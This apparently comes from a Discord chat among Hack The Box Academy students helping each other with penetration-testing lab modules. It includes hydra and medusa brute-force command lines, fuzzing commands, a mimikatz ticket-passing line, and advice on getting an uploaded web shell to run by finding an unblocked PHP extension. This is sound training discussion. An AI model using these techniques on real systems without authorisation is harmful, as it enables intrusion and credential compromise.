if I use spoiler tags is that enough to avoid spoiling or do I need to word my question to avoid details entirely? Been working a few days on the type filters section of File upload attacks.

[gray yacht]

Anyone can unmask a spoiler tag.

[serene drum]

I know. That's why I am asking: Am I attempting to avoid people getting information they have not paid for or information they don't want spoiled?

[gray yacht]

So yeah, it doesn't nothing and it would still be considered spoiling.

[serene drum]

Okay that helps

[gray yacht]

You can DM what you are trying. I'm afk but still might be able to assist.

[compact halo]

mind if i DM you ?

[gray yacht]

Yeah that's fine.

[serene drum]

Thank you. I'll try to be as concise as possible.

[lime cosmos]

am try with pwnbox and i cloud upload the img after multi uploading i blocked lol idk why , i try to change the vpn stilll blocked ..

[rustic sage]

got a small question

why does this not work all the time :
hydra -L username-anarchy -P passwords.txt ftp://127.0.0.1 -t 48

but medusa does:
medusa -M ftp -h 192.168.15.138 -u username-anarchy/ -P passwords.txt

is it because of the / or what

[lusty thicket]

i don't think hydra supports ftp:// in the target field

[rustic sage]

it does

both variants are possible

[lusty thicket]

strange

have you tried without?

[rustic sage]

cringe a bot

for viewer boosting

[rustic sage]

will try in a bit but shouldnt matter
i will try with other boxes

[fresh wedge]

how come cant install sqsh on the pwnbox nor on my own native ParotOs?

how is a tool used in a module not accessable to the student?

[waxen totem]

isn't it already installed?

[fresh wedge]

no it is not

[waxen totem]

I don't use parrot and it works fine for me

[fresh wedge]

let me guess Kali has it built in?

or black arch?

[waxen totem]

I had to install it on my kali

[fresh wedge]

i got it to work withmssqlclient.py as an alternate tool

[fathom pendant]

Sqsh isn't in parrot repos. Simple as

[acoustic owl]

Download libreadline7_7.0-5_amd64.deb
http://ftp.de.debian.org/debian/pool/main/r/readline/libreadline7_7.0-5_amd64.deb

Download sqsh_2.5.16.1-2_amd64.deb
http://ftp.ch.debian.org/debian/pool/main/s/sqsh/sqsh_2.5.16.1-2_amd64.deb

First install libreadline7 by double-clicking on the file.
Then install sqsh with a double-click.

I had the same problem once…

Perhaps there are newer versions today

[odd pond]

Hello, for Linux Privesc module Cron Job Abuse, it shows how to find the file to modify by searching for files with permissions, but where is the cronjob or scheduled task that is causing this to run every 2 minutes? I cannot seem to find anything

[winter fractal]

im needing hel p with a HTB question
[10:33 PM]
for the Linux Fundamentals course on HTB
[10:35 PM]
this is the question How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)

these were the commands i used
netstat -tuln | grep -v '127.0.0.1'

ss -tuln | grep -v '127.0.0.1'

❤️

[waxen totem]

Read the question again...:

How many services are **LISTENING **on the target system on all interfaces? (Not on localhost and IPv4 only)

(127.x.x.x is also a loopback address, not just 127.0.0.1)

[winter fractal]

okay i belive i understand now from the information i provided i counted 14 which i belive is right again with the information i provided but the answer was incorrect im thinking i may be using the wong command possibily

and not getting the full list of listening services?

im still learning 😆

[fathom pendant]

well the question asks for several things
ipv4 only => (netstat actually has a specific flag for this, 4)
NOT localhost => localhost is anything on 127.x.x.x

[winter fractal]

yes yes okay i did not know the it had a specific flag "4"
and for the second thing i did exclude 127.x.x.x and ipv6 address which left me with 14 services thats with out local host and ipv4 only

[fathom pendant]

no you actually only excluded 127.0.0.1

but in your screenshot 127.0.0.53 is still in there

that number will drastically reduce the amount

i can count it in the screenshot even

the ips that are :: and ::: are ipv6 addresses

[winter fractal]

I GOT IT

THANK YOU! @fathom pendant

[fathom pendant]

<3

[winter fractal]

What i ddi was used 2 commands and was counting the addresses twice!!!!!

so it was 7

[winter fractal]

@fathom pendant those two commands i used both

and counted bothhhh twice 🤣 thank you for your helpppp

[fathom pendant]

the important thing to note: the udp ones: those don't say LISTEN next to them

[winter fractal]

NOTED!

[winter fractal]

so i did more messing around

netstat -tln | grep -v tcp6 | grep -v 127.

i swear my brain just clicked

[fathom pendant]

or netstat -tln4 | grep -v 127.

:)

[winter fractal]

oooooooooooooooooooooooo

this is why i love learning

[acoustic crane]

can anybody suggest how to complete advanced file disclosure section of web attacks module? i have tried CDATA method and error method as given in the section but could not get the flag

[sleek epoch]

Thank you to the person/team who uploaded the android security module

Can we have in depth module for the same - writing exploits for android apps/iOS apps or low level android vulnerabilities/iOS security apps module

Would be great to have it

Or low level android kernel bugs (vr)

🥰🥰

[acoustic crane]

did anybody solve the question of cbbh web attacks module advanced file disclosure section? Use either method from this section to read the flag at '/flag.php'. (You may use the CDATA method at '/index.php', or the error-based method at '/error').

[zenith token]

Hello there, cany anyone help me with a nooby question?
I am currently working on the SQL injection module -> Database Enumeration.

And for some reasons, I can't wrap my head around what the difference between a "schemata" and a "database" should be...

[acoustic crane]

you may use chatgpt

@zenith token

[zenith token]

Already tried that, but it's still not intuitive for me. I guess I just spin up a database with docker and try to get some intuition by using it

[waxen totem]

You familiar with OOP? Think of schemas as classes for the tables in a database wherein the table is the actual object and the schema is the template to that object

[acoustic crane]

database is like a box and schemata is like a compartment inside the box

[silk lagoon]

For Exploiting SSTI - Jinja2: Exploit the SSTI vulnerability to obtain RCE and read the flag.

I am able to cat flag but it says it is still the wrong answer. Am I missing anything?

[zenith token]

Aaaaaaah!!!!! Yes, that makes a lot of sense. But just for my understanding:

Situation:

1. I check with SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA for Schematas.
2. I find schematas (NOT DATABASES) such as "dev" and "ilfreight"

Implication -> Based on the Schemata I know that there will be some databases with the structure defined in "dev" or "ilfreight".

Question:
Assuming it's similar like OOP and the "dev" would be the class. Would this mean, that it's not required for the actual database to be named "dev"?

For example "dev" as schemata, but "dev_1", "dev_2" and "dev_3" could be the actual databases (such as instances of a class in oop)?

[waxen totem]

No clue I'm not a database expert, it's common practice to just name it the same but not sure if it's required or not

[zenith token]

Hahahh, so in that case I will not make it more complicated than it needs to be. I see schemata dev -> I assume database dev 😛

Thank you very much for the help! highly appreciated ❣️

[acoustic crane]

did anybody solve the question of cbbh web attacks module advanced file disclosure section? Use either method from this section to read the flag at '/flag.php'. (You may use the CDATA method at '/index.php', or the error-based method at '/error').

[storm elk]

dm me everything you got 🙂

[dry falcon]

https://academy.hackthebox.com/module/136/section/1288
i fuzz the extensions and i get some of working i upload web shell but when i go to page it show the payload and not running it 😦

[tranquil axle]

the server is not configured to execute .php4 files as php files. So it shows the contents as if it was a .txt file

you need to figure out if there is another extension that is executed as php file by the server and not blacklisted

[dry falcon]

oh ok , so is their any easy way to find it out or have to check one by the each .

[tranquil axle]

Probably best is to just try, if you use zaproxy or burpsuit you can configure a list of possible php extensions and try them all automatically and based on the server response size you can see if any of the extensions behave differently

[frosty tide]

Hello, I'm on File Transfer Module - Window:
I try follow the instruction. First I run below command on my host machine:
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Then I try to run below command on the RDP window but it not working, but it accessible through window firefox:

dir \IP\DavWWWRoot

How do I get the result like in the module? Thank

[dry falcon]

and why its like this ? in repeater it say Extension not allowed and in intuder it say File successfully uploaded 😕

[tranquil axle]

can you switch to the request view for the one on the right? If you compare the requests there should be a different, maybe on the right it didn't actually replace the file extension correctly

[boreal vine]

guys i really have no idea how to submit the flag of this one https://academy.hackthebox.com/module/110/section/1053. Obviously the "last line in the request" was something like "Connection: keep- live" in my case, but it said it should starts with msf

[dry falcon]

here u go
use auxiliary/scanner/http/http_put' in Metasploit on any website
make sure to use proxychains and capture request in burp and whenn u goning to run exploit u will is a request in burp and flag too

[boreal vine]

oh wait, i used scanner/http/robots_txt last time

nvm, silly mistake, thank anyway

[pastel raven]

hello everyone im super new to this and hope im posting in the right place

im trying to figure out how to get the url from a target and just cant seem to do that

this is the target 83.136.249.227:34959 and im trying to get a result looking like something.com in order to use the curl command thank you in advance !

[compact jacinth]

like for example if I do kerberos::ptt "C:\Users\Administrator.WIN01\Desktop[0;1812a][e-mail]"
how do I know what kirbi to use if I would have like 10 of them?
would it matter?

[waxen totem]

use the most recent one for the targetted account

[burnt hill]

Hello, I am doing the LIve engagement of the shell & payloads module "https://academy.hackthebox.com/module/115/section/1139", I am trying to get a shell of the host 1, I've tried different brute force attempts to login in Tomcat, but no success, I've checked the hint that is telling me the user and pass, but I would like to be able to brute force login without knowing the hint, any hint of how to get it? a special list?

[gray yacht]

Enumerate the foothold (the target you have access to).

[nocturne pendant]

Hey I'm very new to this and I'm having an issue in the windows fundamentals module.
I am on File System and the question is to find out which system user has full control over c:\users. The guide is to use icacls in order to find this out but try as I might I can't get this to work in either Bash or powershell. Any help would be greatly appreciated.

[fading heart]

Hi, I am new.
I am trying https://academy.hackthebox.com/module/54/section/488
I am Fuzzing inlanefreight.com from Pwnbox but I get zero results. Its a copy paste from the "Sub-domain Fuzzing". What am i doing wrong?

ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u https://FUZZ.inlanefreight.com/

[gray yacht]

Have you tried different wordlists or just that one?

[fading heart]

only that one. In the example they give they use that wordlist, and show results

[gray yacht]

I haven't done that module, but just to check you have accessed the target via whatever means the section provides correct?

[gray yacht]

There are a couple of other top1million wordlists. I'd at least try them too and if nothing then start looking at what might be wrong.

[fading heart]

There are no targets to activate in that section

[burnt hill]

I am sorry, I don't think I get you, how it would help enumerating the the host I got credentials if I want to brute force the tomcat of the other one?

[gray yacht]

You got access to a foothold right? That means it was compromised by some means or an assumed breach. Well, it would be worth enumerating some, nothing deep, think hiding in plain sight as there might be something on that host that can help you.

[fading heart]

would be strange to require trying other wordlists, when there isnt much mention of it. but I will try.

[gray yacht]

Eh, this is where you have to start thinking on your own a bit. I could be wrong, as it has been awhile since I did that one, but I would go through a few wordlists before I started troubleshooting.

[fading heart]

well running ffuf -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -u https://FUZZ.inlanefreight.com/ now

[silent kayak]

Hey everybody I'm looking for a partner or a mentor to teach me python I'm trying to learn how to code someone please help got everything I need but a partner or mentor

[gray yacht]

You can DM as I doubt it worked.

[nocturne pendant]

I had taken a break as I was at a course for the last week and totally forgot you have to use freeRDP to follow the questions. thank you

[burnt hill]

understood, thanks!

[near orchid]

i need to banner grab for this little exercise using netcat by making a connection to tcp port 22

could someone help me out

[waxen totem]

You sure you have to connect to port 22? cos you're given a target port 👀

[fathom pendant]

nc ip port

also you don't have to connect to 22

as wild mentioned

[gray yacht]

Did that section/module not cover banner grabbing? Or anything previously taught?

[fathom pendant]

you're given an IP:port

[waxen totem]

[Solved...ish]
Need a sanity check on Pivoting... module, doing RDP and SOCKS tunneling with SocksOverRDP. My second RDP session always dies a couple seconds after it spawns(for second pivot that is)
[Solution:]
-# janky as f
Got past it by opening the flag as quickly as possible and taking a screenshot

Real solution: Check the performance tab on mstsc.exe, was mentioned in the section I'm just a goof who forgot about it

[near orchid]

i am sure everything is in the text alright but i am dutch and sometimes i dont fully understand

[fathom pendant]

the commands don't need to be translated

:)

[near orchid]

• it is all new and very technical to me so i might not understand correct or miss something

[fathom pendant]

that's kinda the issue that gets lost in translation

is that tool names and such in the text can get translated and you miss the point

i also gave the basic command you just need to replace IP and port with the given IP and port

for future reference for people to help you; it's helpful to have the module and section name
module name being the overall thing "Getting Started; Enumeration with Nmap; Web Attacks"...
Section being like "Introduction"

[near orchid]

oke that is clear

allow me to impress you with my stupidity

[waxen totem]

check the command format again, it's:
nc <ip> <port>
NOT
nc <ip>:<port>

[near orchid]

only the result that i got and the correct anwser are different

please endure my ignorance a bit longer hahha

[rustic sage]

I can't enumerate the AD users with PowerView or SharpHound collection - no LDAP connection?

[gray yacht]

Have you tried it using something other than evil-winrm?

[rustic sage]

no, thanks will try - but I don't think there's any alternative connection into MS01

[gray yacht]

You can DM if you'd like. Highly recommend passing creds around with netexec.

[rustic sage]

ohhh yeah - very nice

[flat estuary]

I am facing difficulty with a CTF flag that requires finding a flag on the web page in the root directory "/". How can I achieve this using the ffuf tool?

Should I use path traversal wordlists for this?

[rustic sage]

it produces different answers because the version is not the same. you get the banner of the secure shell this way

[near orchid]

thank you

[rustic sage]

There can be same services running on the same ip with different ports

No problem

[fathom pendant]

@near orchid you're not connecting to the right port

when you're given a public IP:port the ONLY scope is that IP:Port, any other port is off-limits for testing

[indigo fulcrum]

Hey peeps, anyone with some time to help with a module? I know I am doing the corect thing, as I am on the server but cant find a particular file 😦

[fathom pendant]

without knowing the module and section name: no

https://dontasktoask.com

[indigo fulcrum]

Didn't want to spoil it 🙂